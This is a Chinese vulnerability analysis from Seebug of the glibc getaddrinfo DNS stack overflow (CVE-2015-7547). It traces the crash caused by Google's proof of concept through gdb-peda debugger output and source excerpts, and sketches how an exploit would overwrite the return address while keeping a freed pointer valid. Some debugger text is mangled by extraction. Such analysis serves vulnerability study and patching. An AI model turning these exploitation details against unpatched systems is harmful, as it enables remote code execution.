glibc getaddrinfo 栈缓冲区溢出漏洞(CVE-2015-7547)

2016-02-17T00:00:00
ID SSV:90749
Type seebug
Reporter Root
Modified 2016-02-17T00:00:00

Description

1. 漏洞概要

Glibc是GNU发布的LIBC库的C运行库,Glibc是Linux系统中最底层的API,基本其它任何运行库都会依赖于Glibc。Glibc除了封装Linux操作系统所提供的系统服务外,还提供了其它的必要服务的实现。由于 Glibc 几乎包含所有的 UNIX 通行的标准,可以说是操作系统重要支撑库。

Glibc中的 DNS 解析器中存在基于栈的缓冲区溢出漏洞,当在程序中调用Getaddrinfo函数时,攻击者自定义域名或是通过中间人攻击利用该漏洞控制用户系统。比如攻击者向用户发送带有指向恶意域名的链接的邮件,一旦用户点击该链接,攻击者构造合法的DNS请求时、以过大的DNS数据回应便会形成堆栈缓存区溢出并执行远程代码,达到完全控制用户操作系统。

> 该漏洞影响Glibc 2.9以后的所有版本,虽然可以进行远程执行攻击,攻击者还需要解决绕过ASLR系统安全机制。

2. 漏洞复现

Google提供的POC由两部分组成:

  • 执行CVE-2015-7547-POC.py作为一个伪造的DNS服务器,会向DNS客户端发送构造的验证数据,包含超长字符串。

  • 执行编译好的CVE-2015-7547-CLIENT.c作为客户端,向此DNS服务器进行查询,会在收到数据后导致程序崩溃。实测其它调用Glibc的程序也会因查询域名导致崩溃。

实测其它调用Glibc的程序也会因查询域名导致崩溃。伪造DNS服务器发出的POC数据,在TCP DNS数据中包含了大量字符“B”,如下 :

使用IDA远程调试 Debian 系统上的CVE-2015-7547-CLIENT,在调用Glibc的 Getaddrinfo 函数时出现崩溃,崩溃现场的状态如下:

由于产生溢出覆盖,EDX寄存器的值被控制为0x42424242,处在未使用的地址段,导致在对[EDX+3]进行寻址访问时造成异常。此时函数调用栈如下:

栈空间中被覆盖的数据如下:

3.漏洞原因和利用

Glibc中导致此漏洞的函数调用顺序如下: ``` getaddrinfo (getaddrinfo.c) ->

_nss_dns_gethostbyname4_r (dns-host.c) ->

__libc_res_nsearch (res_query.c) ->

__libc_res_nquery (res_query.c) ->

__libc_res_nsend (res_send.c) ->

send_vc (res_send.c) ``` 存在溢出漏洞的缓冲区是在_nss_dns_gethostbyname4_r函数中申请的。

可以看到在_nss_dns_gethostbyname4_r函数中,使用alloca函数申请了2048字节的内存空间。alloca函数的功能是动态开辟栈地址空间,但如果参数是个固定大小的值,汇编代码就生成为把ESP减去固定值。调试分析栈的布局可以发现,host_buffer等局部变量是处在栈的高地址,alloca分配的内存是处在栈的低地址,这2048字节被溢出之后会覆盖掉host_buffer等变量。 从以上两图可以看出,进入_nss_dns_gethostbyname4_r函数时,返回地址所在栈中的位置是0xBFFFF560。而当完成溢出覆盖导致访问异常时,此返回地址处的值已经被改写为0x42424242。

_nss_dns_gethostbyname4_r函数中调用了__libc_res_nsearch函数进行实际域名查询,把局部变量host_buffer的栈地址作为参数传递进去,用于保存DNS服务器数据的实际存储地址。最终会调用到send_vc函数,在接收大于2048字节的数据之前,本应该在判断缓冲区大小不够时去分配更大的堆内存,但由于存在一段不太成熟的测试代码结果造成了逻辑错误,使得判断缓冲区过小的条件永远不成立,这样就不会去分配大内存,导致数据保存到alloca分配的栈内存中,造成缓冲区溢出。在最新发布的glibc 2.23版补丁中,这段不成熟的代码已被删掉,解决了此漏洞。

POC导致程序崩溃的原因,是由于出现缓冲区溢出后,在__libc_res_nquery函数中会访问host_buffer指针所指向的地址,但此值已经被覆盖为0x42424242,是不可访问的地址,需要把这个值覆盖为一个可访问地址。

为了实现漏洞利用,要覆盖_nss_dns_gethostbyname4_r函数的返回地址。但是在此函数返回之前,还要进行一次free的操作。会判断host_buffer指针是否还是alloca分配的栈地址,如果被改变了,就说明又重新分配了堆内存,需要进行内存释放。但如果此变量被溢出覆盖成其它值了,就会导致释放这个非堆内存地址时,出现程序异常,不能继续加载返回地址。所以解决的办法是,在溢出覆盖后要么不改变这个指针的栈地址值,要么修改为一个有效的堆块起始地址。Glibc模块在函数代码中没有进行栈溢出检查,之后即可在函数返回时控制程序流程。

但是在开启地址随机化的情况下,如果没有办法泄露内存地址布局,单独靠这一漏洞是无法成功利用的。

4. 漏洞分析(该部分内容来自用户k0sh1)

在回溯过程中,我们需要着重观察的是,究竟是何时栈中被畸形字符串覆盖,又是在何处,导致畸形字符串的读取。

首先我们就从离崩溃现场已知最远端入手,进行分析。根据bt回溯的信息,我们可以看到nss_dns_gethostbyname4_r是nss_dns/dns-host.c中的函数,这个.c文件对应的动态链接库是libnss_dns.so.2,那么我们需要在加载动态链接库后对这个函数下断点,我们使用gdb中的catch load libnss_dns.so.2对动态链接库加载进行跟踪。

``` gdb-peda$ catch load libnss_dns.so.2 Catchpoint 1 (load) gdb-peda$ run Starting program: /root/Desktop/CVE-2015-7547-master/CVE-2015-7547-master/gclient [----------------------------------registers-----------------------------------] EAX: 0xbfffe98c --> 0xbfffeb50 ("libnss_dns.so.2") EBX: 0xb7fff000 --> 0x22f0c ECX: 0x4 EDX: 0x9 ('\t') ESI: 0x0 EDI: 0x4 EBP: 0xbfffe868 --> 0xbfffe9c8 --> 0xbfffeb88 --> 0xbfffebb8 --> 0xbffff0e8 --> 0xbffff218 --> 0xbffff268 --> 0x0 ESP: 0xbfffe800 --> 0x804bff0 --> 0xb7e04000 --> 0x464c457f EIP: 0xb7fef15a (<dl_open_worker+970>: nop) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7fef153 <dl_open_worker+963>: test eax,eax 0xb7fef155 <dl_open_worker+965>: je 0xb7fef15b <dl_open_worker+971> 0xb7fef157 <dl_open_worker+967>: mov eax,DWORD PTR [ebp+0x8] => 0xb7fef15a <dl_open_worker+970>: nop 0xb7fef15b <dl_open_worker+971>: mov eax,DWORD PTR [ebp+0x8] 0xb7fef15e <dl_open_worker+974>: sub esp,0xc 0xb7fef161 <dl_open_worker+977>: mov ecx,DWORD PTR [eax+0x1c] 0xb7fef164 <dl_open_worker+980>: mov edx,DWORD PTR [eax+0x18] [------------------------------------stack-------------------------------------]

[------------------------------------------------------------------------------] Legend: code, data, rodata, value

Catchpoint 1 Inferior loaded /lib/i386-linux-gnu/libnss_dns.so.2 /lib/i386-linux-gnu/libresolv.so.2 0xb7fef15a in dl_open_worker (a=0xbfffe98c) at dl-open.c:572 572 dl-open.c: No such file or directory. ```

程序中断后,说明动态链接库已经被加载,这时,我们就可以给_nss_dns_gethostbyname4_r下断点了。

``` gdb-peda$ delete gdb-peda$ b _nss_dns_gethostbyname4_r Breakpoint 2 at 0xb7e064d0: file nss_dns/dns-host.c, line 284. gdb-peda$ run Starting program: /root/Desktop/CVE-2015-7547-master/CVE-2015-7547-master/gclient [----------------------------------registers-----------------------------------] EAX: 0xbffff0c4 --> 0x0 EBX: 0xb7fd3000 --> 0x19cd64 ECX: 0xbfffeb27 --> 0x0 EDX: 0xb7e064d0 (<_nss_dns_gethostbyname4_r>: push ebp) ESI: 0xb7e064d0 (<_nss_dns_gethostbyname4_r>: push ebp) EDI: 0x420 EBP: 0xbffff0e8 --> 0xbffff218 --> 0xbffff268 --> 0x0 ESP: 0xbfffebac --> 0xb7efddbc (<gaih_inet+3495>: add esp,0x20) EIP: 0xb7e064d0 (<_nss_dns_gethostbyname4_r>: push ebp) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7e064c8 <_nss_dns_gethostbyname_r+136>: pop ebx 0xb7e064c9 <_nss_dns_gethostbyname_r+137>: ret
0xb7e064ca: lea esi,[esi+0x0] => 0xb7e064d0 <_nss_dns_gethostbyname4_r>: push ebp 0xb7e064d1 <_nss_dns_gethostbyname4_r+1>: mov ebp,esp 0xb7e064d3 <_nss_dns_gethostbyname4_r+3>: push edi 0xb7e064d4 <_nss_dns_gethostbyname4_r+4>: push esi 0xb7e064d5 <_nss_dns_gethostbyname4_r+5>: push ebx [------------------------------------stack-------------------------------------]

[------------------------------------------------------------------------------] Legend: code, data, rodata, value

Breakpoint 2, _nss_dns_gethostbyname4_r (name=0x8048653 "foo.bar.google.com", pat=0xbffff0c8, buffer=0xbfffebd0 "\377\002", buflen=0x420, errnop=0xbffff0c4, herrnop=0xbffff0b0, ttlp=0x0) at nss_dns/dns-host.c:284 284 nss_dns/dns-host.c: No such file or directory. ```

顺利在入口处断了下来,这时我们继续按c,进行continue操作发现直接到达漏洞现场,这个过程就不展示了,可以在跟踪调试时进行,这说明进入此函数是漏洞触发前唯一一次调用到_nss_dns_gethostbyname4_r函数的位置,我们通过bt来观察一下。

``` gdb-peda$ bt

0 _nss_dns_gethostbyname4_r (name=0x8048653 "foo.bar.google.com",

pat=0xbffff0c8, buffer=0xbfffebd0 "\377\002", buflen=0x420, 
errnop=0xbffff0c4, herrnop=0xbffff0b0, ttlp=0x0) at nss_dns/dns-host.c:284

1 0xb7efddbc in gaih_inet (name=<optimized out>,

name@entry=0x8048653 "foo.bar.google.com", service=&lt;optimized out&gt;, 
req=0xbffff23c, pai=0xbffff1fc, naddrs=0xbffff1c4)
at ../sysdeps/posix/getaddrinfo.c:862

2 0xb7f0023e in __GI_getaddrinfo (name=<optimized out>,

service=0x8048650 "22", hints=0xbffff23c, pai=0xbffff234)
at ../sysdeps/posix/getaddrinfo.c:2417

3 0x08048588 in main ()

4 0xb7e4d5cb in __libc_start_main (main=0x804853b <main>, argc=0x1,

argv=0xbffff314, init=0x80485d0 &lt;__libc_csu_init&gt;, 
fini=0x8048630 &lt;__libc_csu_fini&gt;, rtld_fini=0xb7feb210 &lt;_dl_fini&gt;, 
stack_end=0xbffff30c) at libc-start.c:289

5 0x08048461 in _start ()

```

整个过程调用非常清晰,#3位置在主函数里,紧接着#2调用了我们的漏洞函数getaddrinfo,调用后某个位置我们调用了nss_dns_gethostbyname4_r函数,在到达此函数时,我们在poc端进行观察,发现poc并没有发送畸形字符串,在此函数入口,我们通过参数观察,也没有看到有畸形字符串加载进来。

这一点说明在getaddrinfo函数到nss_dns_gethostbyname之间没有涉及到畸形字符串获取,也就是说和漏洞无关,那么我们可以跳过这段调试,直接从_nss_gethostbyname4_r入手继续寻找。

接下来,我们通过最开始的bt堆栈调用,对后面几个函数进行分析,如果想在之后的调用位置下断点,需要继续对libresolv.so.2的加载进行跟踪,那么接下来,为了能够快速定位,我们就利用最开始回溯堆栈调用给予的信息,对#0,#1,#2三处下断点,首先利用catch load libresolv.so.2对动态链接库下断点,中断后,我们首先来到第一个#2位置。

``` gdb-peda$ b __libc_res_nsearch Breakpoint 4 at 0xb7df5240: file res_query.c, line 342. gdb-peda$ run Starting program: /opt/gclient [----------------------------------registers-----------------------------------] EAX: 0xffffffb8 EBX: 0xb7e0d000 --> 0x5ec8 ECX: 0xbfffe200 --> 0x0 EDX: 0x0 ESI: 0xb7e35940 (0xb7e35940) EDI: 0x8048653 ("foo.bar.google.com") EBP: 0xbfffea68 --> 0xbfffefa8 --> 0xbffff0d8 --> 0xbffff128 --> 0x0 ESP: 0xbfffe1cc --> 0xb7e09590 (<_nss_dns_gethostbyname4_r+192>: add esp,0x30) EIP: 0xb7df5240 (<__GIlibcres_nsearch>: push ebp) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df5238 <GIreshostalias+440>: ret
0xb7df5239 <
GIreshostalias+441>: call 0xb7dfca50 <stack_chk_fail_local> 0xb7df523e: xchg ax,ax => 0xb7df5240 <__GIlibcres_nsearch>: push ebp 0xb7df5241 <GIlibcres_nsearch+1>: push edi 0xb7df5242 <GIlibcres_nsearch+2>: push esi 0xb7df5243 <GIlibcres_nsearch+3>: push ebx 0xb7df5244 <GIlibcres_nsearch+4>:
call 0xb7df06e0 <
x86.get_pc_thunk.bx> [------------------------------------------------------------------------------] Legend: code, data, rodata, value

Breakpoint 4, __GI___libc_res_nsearch (statp=0xb7fd6340 <_res@GLIBC_2.0>, name=0x8048653 "foo.bar.google.com", class=0x1, type=0xf371, answer=0xbfffe200 "", anslen=0x800, answerp=0xbfffea2c, answerp2=0xbfffea30, nanswerp2=0xbfffea34, resplen2=0xbfffea38, answerp2_malloced=0xbfffea3c) at res_query.c:342 342 res_query.c: No such file or directory. ```

可以看到,此函数调用时,还是我们程序对应的地址内容,那么接下来,到达#1位置。

``` gdb-peda$ b __libc_res_nquerydomain Breakpoint 5 at 0xb7df4eb0: file res_query.c, line 563. gdb-peda$ run Starting program: /opt/gclient [----------------------------------registers-----------------------------------] EAX: 0xb7fd6340 --> 0x5 EBX: 0xb7e04000 --> 0x14ed4 ECX: 0xbfffea2c --> 0xbfffe200 --> 0x0 EDX: 0x8048653 ("foo.bar.google.com") ESI: 0x3 EDI: 0xb7fd6340 --> 0x5 EBP: 0xbfffea30 --> 0x0 ESP: 0xbfffdd2c --> 0xb7df54cb (<__GIlibcres_nsearch+651>: add esp,0x30) EIP: 0xb7df4eb0 (<libc_res_nquerydomain>: push ebp) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df4ea4 <__GIlibcres_nquery+1716>: push eax 0xb7df4ea5 <GIlibcres_nquery+1717>:
call 0xb7df0680 <
assert_fail@plt> 0xb7df4eaa: lea esi,[esi+0x0] => 0xb7df4eb0 <__libc_res_nquerydomain>: push ebp 0xb7df4eb1 <__libc_res_nquerydomain+1>: push edi 0xb7df4eb2 <__libc_res_nquerydomain+2>: mov edi,eax 0xb7df4eb4 <__libc_res_nquerydomain+4>: push esi 0xb7df4eb5 <__libc_res_nquerydomain+5>: push ebx [------------------------------------------------------------------------------] Legend: code, data, rodata, value

Breakpoint 5, __libc_res_nquerydomain ( statp=statp@entry=0xb7fd6340 <_res@GLIBC_2.0>, name=name@entry=0x8048653 "foo.bar.google.com", domain=0x0, class=0x1, type=0xf371, answer=0xbfffe200 "", anslen=0x800, answerp=0xbfffea2c, answerp2=0xbfffea30, nanswerp2=0xbfffea34, resplen2=0xbfffea38, answerp2_malloced=0xbfffea3c) at res_query.c:563 563 res_query.c: No such file or directory. ```

可以看到,此时还是正常,接下来来到#0位置。

``` gdb-peda$ b __libc_res_nquery Breakpoint 6 at 0xb7df47f0: file res_query.c, line 124. gdb-peda$ run Starting program: /opt/gclient [----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0xb7e04000 --> 0x14ed4 ECX: 0x13 EDX: 0x5 ESI: 0x8048653 ("foo.bar.google.com") EDI: 0xb7fd6340 --> 0x5 EBP: 0x0 ESP: 0xbfffd8ac --> 0xb7df4fa1 (<__libc_res_nquerydomain+241>: add esp,0x30) EIP: 0xb7df47f0 (<__GIlibcres_nquery>: push ebp) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df47eb: xchg ax,ax 0xb7df47ed: xchg ax,ax 0xb7df47ef: nop => 0xb7df47f0 <GIlibcres_nquery>: push ebp 0xb7df47f1 <GIlibcres_nquery+1>: mov edx,0x220 0xb7df47f6 <GIlibcres_nquery+6>: mov ebp,esp 0xb7df47f8 <GIlibcres_nquery+8>: push edi 0xb7df47f9 <GI___libc_res_nquery+9>: push esi [------------------------------------------------------------------------------] Legend: code, data, rodata, value

Breakpoint 6, __GI___libc_res_nquery (statp=0xb7fd6340 <_res@GLIBC_2.0>, name=0x8048653 "foo.bar.google.com", class=0x1, type=0xf371, answer=0xbfffe200 "", anslen=0x800, answerp=0xbfffea2c, answerp2=0xbfffea30, nanswerp2=0xbfffea34, resplen2=0xbfffea38, answerp2_malloced=0xbfffea3c) at res_query.c:124 124 res_query.c: No such file or directory. ```

可以看到此时依然正常,这说明漏洞位置就出现在libc_res_nquery函数中,那么我们接下来,在对此函数进行跟踪分析之前,我们来通过源码来总结一下之前的调用过程。

``` _nss_dns_gethostbyname4_r (const char name, struct gaih_addrtuple pat, char buffer, size_t buflen, int errnop, int herrnop, int32_t ttlp) { …… //省略过程 …… host_buffer.buf = orig_host_buffer = (querybuf ) alloca (2048);//开辟2048空间,重要! u_char *ans2p = NULL; int nans2p = 0; int resplen2 = 0; int ans2p_malloced = 0;

int olderr = errno; enum nss_status status; //调用__libc_res_nsearch int n = __libc_res_nsearch (&_res, name, C_IN, T_UNSPEC, host_buffer.buf->buf, 2048, &host_buffer.ptr, &ans2p, &nans2p, &resplen2, &ans2p_malloced); ```

可以看到这里为host_buffer作为querybuf开辟了2048字节的缓冲区,这也是后面漏洞在res_nquery形成的关键点。我将几次函数调用写在一起,省略了部分过程(毕竟不重要),这里我们还观察一下libc_res_nsearch调用的第五个参数,也就是2048空间对应的地址位置,接下来。

int __libc_res_nsearch(res_state statp, const char *name, /* domain name */ int class, int type, /* class and type of query */ u_char *answer, /* buffer to put answer */ int anslen, /* size of answer */ u_char **answerp, u_char **answerp2, int *nanswerp2, int *resplen2, int *answerp2_malloced) { …… 省略过程 …… //调用_libc_res_nquerydomain ret = __libc_res_nquerydomain(statp, name, NULL, class, type, answer, anslen, answerp, answerp2, nanswerp2, resplen2, answerp2_malloced);

还记得刚才我们提到的第五个参数吗,就是现在的*answerp,紧接着继续调用到最后的处理函数。

static int __libc_res_nquerydomain(res_state statp, const char *name, const char *domain, int class, int type, /* class and type of query */ u_char *answer, /* buffer to put answer */ int anslen, /* size of answer */ u_char **answerp, u_char **answerp2, int *nanswerp2, int *resplen2, int *answerp2_malloced) { …… 省略过程 …… //调用libc_res_nquery return (__libc_res_nquery(statp, longname, class, type, answer, anslen, answerp, answerp2, nanswerp2, resplen2, answerp2_malloced)); }

还是answer变量值得关注,接下来的分析中会提到这一点,这个answer函数对应的位置就是已经分配的2048空间,而在函数进行read操作时,并没有对DNS返回的字符串畸形检查,而直接拷贝字符串了到数组空间了!

那么进入到res_nquery之后,我们需要对这个函数进行单步跟踪分析,因为一直到这个函数前,PoC端都没有反应,可见此时还是在本机进行了一些读取操作,后面查询操作时,才涉及到和DNS交互。单步跟踪,在某函数位置发现了问题。

``` gdb-peda$ run Starting program: /root/Desktop/CVE-2015-7547-master/CVE-2015-7547-master/gclient [----------------------------------registers-----------------------------------] EAX: 0x804c728 --> 0x35000002 EBX: 0xb7e01000 --> 0x14ed4 ECX: 0x0 EDX: 0xb7fd6340 --> 0x5 ESI: 0x0 EDI: 0xb7fd6514 --> 0xffffffff EBP: 0xb7fd6340 --> 0x5 ESP: 0xbfffd5d0 --> 0xbfffd764 --> 0x1006d EIP: 0xb7df3702 (<__libc_res_nsend+354>: mov eax,DWORD PTR [esp+0x158]) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df36f6 <__libc_res_nsend+342>: mov esi,DWORD PTR [esp+0x1c] 0xb7df36fa <__libc_res_nsend+346>: test esi,esi 0xb7df36fc <__libc_res_nsend+348>: jne 0xb7df4145 <__libc_res_nsend+2981> => 0xb7df3702 <__libc_res_nsend+354>: mov eax,DWORD PTR [esp+0x158] 0xb7df3709 <__libc_res_nsend+361>: mov esi,DWORD PTR [ebp+0x0] 0xb7df370c <__libc_res_nsend+364>: mov DWORD PTR [esp+0x9c],0x0 0xb7df3717 <__libc_res_nsend+375>: mov DWORD PTR [esp+0x74],eax 0xb7df371b <__libc_res_nsend+379>: mov eax,DWORD PTR [esp+0x4] [------------------------------------------------------------------------------] Legend: code, data, rodata, value

Breakpoint 2, __libc_res_nsend (statp=0xb7fd6340 <_res@GLIBC_2.0>, buf=0xbfffd740 "\362 \001", buflen=0x24, buf2=0xbfffd764 "m", buflen2=0x24, ans=0xbfffe340 "", anssiz=0x800, ansp=0xbfffeb6c, ansp2=0xbfffeb70, nansp2=0xbfffeb74, resplen2=0xbfffeb78, ansp2_malloced=0xbfffeb7c) at res_send.c:564 564 res_send.c: No such file or directory. ```

我们进入到一处res_nsend函数,在进入前一切还正常,我们直接通过finish来执行到函数返回位置。

gdb-peda$ finish Run till exit from #0 __libc_res_nsend (statp=0xb7fd6340 &lt;_res@GLIBC_2.0&gt;, buf=0xbfffd740 "\362 \001", buflen=0x24, buf2=0xbfffd764 "m", buflen2=0x24, ans=0xbfffe340 "", anssiz=0x800, ansp=0xbfffeb6c, ansp2=0xbfffeb70, nansp2=0xbfffeb74, resplen2=0xbfffeb78, ansp2_malloced=0xbfffeb7c) at res_send.c:564 [----------------------------------registers-----------------------------------] EAX: 0xbcc EBX: 0xb7e01000 --&gt; 0x14ed4 ECX: 0x1 EDX: 0xffffffff ESI: 0xb7fd6340 --&gt; 0x5 EDI: 0xbfffe340 --&gt; 0x4242006d ('m') EBP: 0xbfffd9e8 --&gt; 0x0 ESP: 0xbfffd710 --&gt; 0xb7fd6340 --&gt; 0x5 EIP: 0xb7df191b (&lt;__GI___libc_res_nquery+299&gt;: mov DWORD PTR [ebp-0x30],eax) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df1912 &lt;__GI___libc_res_nquery+290&gt;: push DWORD PTR [ebp-0x30] 0xb7df1915 &lt;__GI___libc_res_nquery+293&gt;: push esi 0xb7df1916 &lt;__GI___libc_res_nquery+294&gt;: call 0xb7df35a0 &lt;__libc_res_nsend&gt; =&gt; 0xb7df191b &lt;__GI___libc_res_nquery+299&gt;: mov DWORD PTR [ebp-0x30],eax 0xb7df191e &lt;__GI___libc_res_nquery+302&gt;: mov eax,DWORD PTR [ebp-0x40] 0xb7df1921 &lt;__GI___libc_res_nquery+305&gt;: add esp,0x30 0xb7df1924 &lt;__GI___libc_res_nquery+308&gt;: test eax,eax 0xb7df1926 &lt;__GI___libc_res_nquery+310&gt;: jne 0xb7df1b50 &lt;__GI___libc_res_nquery+864&gt; [------------------------------------stack-------------------------------------] 0000| 0xbfffd710 --&gt; 0xb7fd6340 --&gt; 0x5 0004| 0xbfffd714 --&gt; 0xbfffd740 --&gt; 0x120f2 0008| 0xbfffd718 --&gt; 0x24 ('$') 0012| 0xbfffd71c --&gt; 0xbfffd764 --&gt; 0x1006d 0016| 0xbfffd720 --&gt; 0x24 ('$') 0020| 0xbfffd724 --&gt; 0xbfffe340 --&gt; 0x4242006d ('m') 0024| 0xbfffd728 --&gt; 0x10000 0028| 0xbfffd72c --&gt; 0xbfffeb6c ('B' &lt;repeats 200 times&gt;...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xb7df191b in __GI___libc_res_nquery (statp=0xb7fd6340 &lt;_res@GLIBC_2.0&gt;, name=0x8048653 "foo.bar.google.com", class=0x1, type=0xf371, answer=0xbfffe340 "m", anslen=0x800, answerp=0xbfffeb6c, answerp2=0xbfffeb70, nanswerp2=0xbfffeb74, resplen2=0xbfffeb78, answerp2_malloced=0xbfffeb7c) at res_query.c:227 227 res_query.c: No such file or directory.

在代码区,我们可以看到现在所处的位置是0xb7df191b的位置,而在这个位置上面的地址,执行了call __libc_res_nsend函数,当函数返回后,我们发现在栈中bfffeb6c的位置,出现了我们的畸形字符串B,而PoC端此时也执行了发送操作。我们来看一下bfffeb6c此时的值。

0xbfffeb9c: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbfffeba4: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbfffebac: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbfffebb4: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbfffebbc: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbfffebc4: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbfffebcc: 0x42 0x42 0x42 0x42

已经覆盖了大量的42424242,那么我们可以定位出现问题的地方在__libc_res_nsend中。在res_query.c中,我们可以看到res_nquery函数对res_nsend的调用。而且也只有这一处调用了res_nsend。

int __libc_res_nquery(res_state statp, const char *name, /* domain name */ int class, int type, /* class and type of query */ u_char *answer, /* buffer to put answer */ int anslen, /* size of answer buffer */ u_char **answerp, /* if buffer needs to be enlarged */ u_char **answerp2, int *nanswerp2, int *resplen2, int *answerp2_malloced) { HEADER *hp = (HEADER *) answer; HEADER *hp2; int n, use_malloc = 0; u_int oflags = statp-&gt;_flags; …… 省略过程 …… assert (answerp == NULL || (void *) *answerp == (void *) answer); //漏洞触发函数 n = __libc_res_nsend(statp, query1, nquery1, query2, nquery2, answer, anslen, answerp, answerp2, nanswerp2, resplen2, answerp2_malloced); if (use_malloc) free (buf);

接下来,我们要着重关注一下libc_res_nsend函数,首先我们跟踪调试时发现程序会进入一处if语句判断,进入send_vc和send_dg函数,在send_vc函数中发现了socket和connect连接语句,在连接语句执行结束时,poc端提示connect 127.0.0.1,也就是执行了连接操作。

``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x3 EBX: 0xb7e01000 --> 0x14ed4 ECX: 0xbfffd2e0 --> 0x2 EDX: 0xb7e01000 --> 0x14ed4 ESI: 0xbfffeb78 --> 0x0 EDI: 0xb7fd6514 --> 0xffffffff EBP: 0xb7fd6340 --> 0x5 ESP: 0xbfffd2e0 --> 0x2 EIP: 0xb7df2b64 (<send_vc+244>: add esp,0x10) EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7df2b5b <send_vc+235>: movzx eax,WORD PTR [eax] 0xb7df2b5e <send_vc+238>: push eax 0xb7df2b5f <send_vc+239>: call 0xb7ded620 <socket@plt> => 0xb7df2b64 <send_vc+244>: add esp,0x10 0xb7df2b67 <send_vc+247>: test eax,eax 0xb7df2b69 <send_vc+249>: mov DWORD PTR [ebp+0x1c4],eax 0xb7df2b6f <send_vc+255>: js 0xb7df312a <send_vc+1722> 0xb7df2b75 <send_vc+261>: mov edi,DWORD PTR [esp+0x48] [------------------------------------stack-------------------------------------] 0000| 0xbfffd2e0 --> 0x2 0004| 0xbfffd2e4 --> 0x1 0008| 0xbfffd2e8 --> 0x0 0012| 0xbfffd2ec --> 0xb7e433e8 --> 0x72647800 ('') 0016| 0xbfffd2f0 --> 0xb7fd8900 --> 0xb7e36000 --> 0x464c457f 0020| 0xbfffd2f4 --> 0xbfffeb74 --> 0x0 0024| 0xbfffd2f8 --> 0xbfffeb6c --> 0x804c748 --> 0x8083ab32 0028| 0xbfffd2fc --> 0xbfffd728 --> 0x10000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 725 in res_send.c

Breakpoint 2, send_vc (statp=0xb7fd6340 <_res@GLIBC_2.0>, buf=0xbfffd740 "B6\001", buflen=0x24, buf2=0xbfffd764 "\t\374\001", buflen2=0x24, ansp=0xbfffd65c, anssizp=0xbfffd728, terrno=0xbfffd668, ns=0x0, anscp=0xbfffeb6c, ansp2=0xbfffeb70, anssizp2=0xbfffeb74, resplen2=0xbfffeb78, ansp2_malloced=0xbfffeb7c) at res_send.c:669 669 res_send.c: No such file or directory. ```

连接后,我们继续单步跟进,poc端收到了tcp的请求,同时,glibc接收到了畸形字符串,通过read函数读取,我们可以来观察一下读取前后的情况,在此之前,我们通过bt观察一下某个之前提到的重点变量,就是保存了2048缓冲区的重点变量。

``` gdb-peda$ bt

0 send_vc (statp=0xb7fd6340 <_res@GLIBC_2.0>, buf=0xbfffd740 "\274\206\001",

buflen=0x24, buf2=0xbfffd764 "\264\316\001", buflen2=0x24, 
ansp=0xbfffd65c, anssizp=0xbfffd728, terrno=0xbfffd668, ns=0x0, 
anscp=0xbfffeb6c, ansp2=0xbfffeb70, anssizp2=0xbfffeb74, 
resplen2=0xbfffeb78, ansp2_malloced=0xbfffeb7c) at res_send.c:669

1 0xb7df3c4e in __libc_res_nsend (statp=0xb7fd6340 <_res@GLIBC_2.0>,

buf=0xbfffd740 "\274\206\001", buflen=0x24, 
buf2=0xbfffd764 "\264\316\001", buflen2=0x24, ans=0xbfffe340 "", 
anssiz=0x10000, ansp=0xbfffeb6c, ansp2=0xbfffeb70, nansp2=0xbfffeb74, 
resplen2=0xbfffeb78, ansp2_malloced=0xbfffeb7c) at res_send.c:554

2 0xb7df191b in __GI___libc_res_nquery (statp=0xb7fd6340 <_res@GLIBC_2.0>,

name=0x8048653 "foo.bar.google.com", class=0x1, type=0xf371, 
answer=0xbfffe340 "", anslen=0x800, answerp=0xbfffeb6c, 
answerp2=0xbfffeb70, nanswerp2=0xbfffeb74, resplen2=0xbfffeb78, 
answerp2_malloced=0xbfffeb7c) at res_query.c:227

3 0xb7df1fa1 in __libc_res_nquerydomain (

statp=statp@entry=0xb7fd6340 &lt;_res@GLIBC_2.0&gt;, 
name=name@entry=0x8048653 "foo.bar.google.com", domain=0x0, class=0x1, 
type=0xf371, answer=0xbfffe340 "", anslen=0x800, answerp=0xbfffeb6c, 
answerp2=0xbfffeb70, nanswerp2=0xbfffeb74, resplen2=0xbfffeb78, 
answerp2_malloced=0xbfffeb7c) at res_query.c:594

4 0xb7df24cb in __GI___libc_res_nsearch (statp=0xb7fd6340 <_res@GLIBC_2.0>,

name=0x8048653 "foo.bar.google.com", class=0x1, type=0xf371, 
answer=0xbfffe340 "", anslen=0x800, answerp=0xbfffeb6c, 
answerp2=0xbfffeb70, nanswerp2=0xbfffeb74, resplen2=0xbfffeb78, 
answerp2_malloced=0xbfffeb7c) at res_query.c:381

```

这里我们要好好分析一下,首先是#4处的answer,地址是0xbfffe340,之前我们提到过,这里时开辟的2048长度地址的缓冲区,后面的anslen=0x800也是长度,2048,接下来在#3中,answer地址没有变化继续传递,接下来在res_nquery中,依然没有变化,最后到达关键函数send_vc的时候,我们可以看到ansp=0xbfffd65c,这个地址非常有意思,首先在函数入口处,我们可以看一下这个地址的中存放的值。

